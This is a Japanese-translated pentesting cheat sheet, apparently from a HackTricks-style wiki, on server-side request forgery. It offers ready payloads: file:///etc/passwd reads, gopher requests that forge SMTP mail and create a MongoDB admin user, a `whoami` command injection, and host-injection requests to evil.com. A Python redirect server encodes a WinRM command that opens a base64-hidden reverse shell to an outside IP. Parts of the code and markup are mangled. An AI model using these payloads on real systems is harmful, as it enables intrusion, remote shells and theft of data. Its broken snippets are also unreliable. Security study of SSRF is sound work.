Trickest を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化 します。
今すぐアクセスを取得:
基本情報
サーバーサイドリクエストフォージェリ(SSRF)の脆弱性は、攻撃者がサーバーサイドアプリケーション を操作して、選択したドメインにHTTPリクエスト を送信させるときに発生します。この脆弱性は、攻撃者によって指示された任意の外部リクエストに対してサーバーをさらします。
SSRFのキャプチャ
最初に行うべきことは、あなたが生成したSSRFインタラクションをキャプチャすることです。HTTPまたはDNSインタラクションをキャプチャするには、次のようなツールを使用できます:
ホワイトリストドメインのバイパス
通常、SSRFは特定のホワイトリストドメイン またはURLでのみ機能します。次のページには、そのホワイトリストをバイパスするための技術のコンパイル があります:
URL Format Bypass オープンリダイレクトによるバイパス
サーバーが適切に保護されている場合、ウェブページ内のオープンリダイレクトを悪用することで、すべての制限をバイパスできる可能性があります 。ウェブページは同じドメインへのSSRFを許可し、リダイレクトを おそらく**追従するため、オープンリダイレクトを悪用してサーバーが内部の任意のリソースにアクセスするようにすることができます 。
詳細はこちらをお読みください:https://portswigger.net/web-security/ssrf
プロトコル
URLスキームfile://
が参照され、直接/etc/passwd
を指します:file:///etc/passwd
DICT URLスキームは、DICTプロトコルを介して定義や単語リストにアクセスするために使用されると説明されています。特定の単語、データベース、エントリ番号をターゲットにした構築されたURLの例が示され、攻撃者提供の資格情報を使用してDICTサーバーに接続するためにPHPスクリプトが悪用される可能性があることが示されています:dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
セキュアシェルを介った安全なファイル転送のためのプロトコルとして特定され、悪意のあるSFTPサーバーに接続するためにPHPスクリプトが悪用される方法の例が提供されています:url=sftp://generic.com:11111/
UDP上で動作するトリビアルファイル転送プロトコルが言及され、TFTPサーバーにリクエストを送信するために設計されたPHPスクリプトの例が示されています。TFTPリクエストは、ポート「12346」で「generic.com」に対してファイル「TESTUDPPACKET」に対して行われます:ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
このセクションでは、軽量ディレクトリアクセスプロトコルについて説明し、IPネットワークを介して分散ディレクトリ情報サービスを管理およびアクセスするために使用されることを強調しています。ローカルホストのLDAPサーバーと対話する:'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
SSRF脆弱性を悪用してローカルホスト上のSMTPサービスと対話する方法が説明されており、内部ドメイン名を明らかにし、その情報に基づいてさらなる調査を行う手順が含まれています。
Copy From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
Curl URL globbing - WAF バイパス
SSRFがcurl によって実行される場合、curlにはWAFをバイパスするのに役立つURL globbing という機能があります。例えば、このwriteup では、file
プロトコルを介したパストラバーサル の例が見つかります:
Copy file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
GopherプロトコルのIP、ポート、バイトを指定してサーバーと通信する能力について説明し、ペイロードを作成するためのGopherusやremote-method-guesserなどのツールを紹介します。2つの異なる使用例が示されています。
Gopher://
このプロトコルを使用すると、サーバーに送信 してほしいIP、ポート、バイト を指定できます。これにより、基本的にSSRFを利用して任意のTCPサーバー と通信 することができます(ただし、最初にサービスと話す方法を知っている必要があります)。
幸いなことに、Gopherus を使用して、いくつかのサービスのペイロードを作成できます。さらに、remote-method-guesser を使用して、_Java RMI_サービス用の_gopher_ペイロードを作成することもできます。
Gopher smtp
Copy ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
ゴファー HTTP
Copy #For new lines you can use %0A, %0D%0A
gopher:// <server>:8080/_GET / HTTP/1.0%0A%0A
gopher:// <server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP — 1337へのバックコネクト
Copy <? php
header ( "Location: gopher://hack3r.site:1337/_SSRF%0ATest!" ) ;
?> Now query it .
https : //example.com/?q=http://evil.com/redirect.php.
Gopher MongoDB -- ユーザー名=admin、パスワード=admin123、権限=administratorのユーザーを作成
Copy # Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF via Referrer header & Others
サーバー上の分析ソフトウェアは、受信リンクを追跡するためにReferrerヘッダーをログに記録することが多く、この慣行はアプリケーションをServer-Side Request Forgery (SSRF) 脆弱性に無意識のうちにさらします。これは、そのようなソフトウェアがReferrerヘッダーに記載された外部URLを訪れて、リファラルサイトのコンテンツを分析する可能性があるためです。これらの脆弱性を明らかにするために、Burp Suiteプラグイン "Collaborator Everywhere " の使用が推奨されており、分析ツールがRefererヘッダーを処理する方法を利用して、潜在的なSSRF攻撃面を特定します。
SSRF via SNI data from certificate
単純な設定を通じて任意のバックエンドへの接続を可能にする誤設定は、例としてNginxの設定で示されています:
Copy stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
この構成では、サーバー名インディケーション(SNI)フィールドの値がバックエンドのアドレスとして直接利用されます。この設定は、サーバーサイドリクエストフォージェリ(SSRF)に対する脆弱性を露呈し、SNIフィールドに希望するIPアドレスまたはドメイン名を指定するだけで悪用される可能性があります。任意のバックエンド、例えば internal.host.com
への接続を強制するための悪用例として、以下の openssl
コマンドが示されています:
Copy openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
コマンドインジェクションを伴うSSRF
次のようなペイロードを試してみる価値があるかもしれません: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDFのレンダリング
ウェブページが提供した情報で自動的にPDFを作成している場合、PDF作成者 (サーバー)によってPDF作成中に実行されるJSを挿入することができます 。これにより、SSRFを悪用することが可能です。詳細はこちら 。
SSRFからDoSへ
複数のセッションを作成し、セッションからSSRFを利用して重いファイルをダウンロードしてみてください。
SSRF PHP関数
脆弱なPHPやWordpress関数については、以下のページを確認してください:
PHP SSRF GopherへのSSRFリダイレクト
いくつかのエクスプロイトには、リダイレクトレスポンスを送信する必要があるかもしれません (gopherのような異なるプロトコルを使用するため)。ここでは、リダイレクトで応答するための異なるPythonコードがあります:
Copy # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http . server import HTTPServer , BaseHTTPRequestHandler
import ssl
class MainHandler ( BaseHTTPRequestHandler ):
def do_GET ( self ):
print ( "GET" )
self . send_response ( 301 )
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self . end_headers ()
httpd = HTTPServer (( '0.0.0.0' , 443 ), MainHandler)
httpd . socket = ssl . wrap_socket (httpd.socket, certfile = "server.pem" , server_side = True )
httpd . serve_forever ()
Copy from flask import Flask , redirect
from urllib . parse import quote
app = Flask ( __name__ )
@app . route ( '/' )
def root ():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__" :
app . run (ssl_context = 'adhoc' , debug = True , host = "0.0.0.0" , port = 8443 )
Trickest を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化 します。
今すぐアクセスを取得:
SSRFへの誤設定されたプロキシ
この投稿からのトリック from this post .
Flask
Flaskプロキシの脆弱なコード```python from flask import Flask from requests import get
app = Flask('main ') SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''}) @app.route('/path:path ')
def proxy(path): return get(f'{SITE_NAME}{path}').content
if name == "main ": app.run(threaded=False)
Copy </details>
Flaskは**`@`**を初期文字として使用することを許可しており、**初期ホスト名をユーザー名にする**ことができ、新しいホスト名を注入することができます。攻撃リクエスト:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
脆弱なコード:
リクエストのパス を文字**;
で開始することが可能であり、その後 @
**を使用して新しいホストを注入してアクセスすることができることが発見されました。攻撃リクエスト:
Copy GET ;@evil.com/url HTTP / 1.1
Host : target.com
Connection : close
PHP組み込みWebサーバー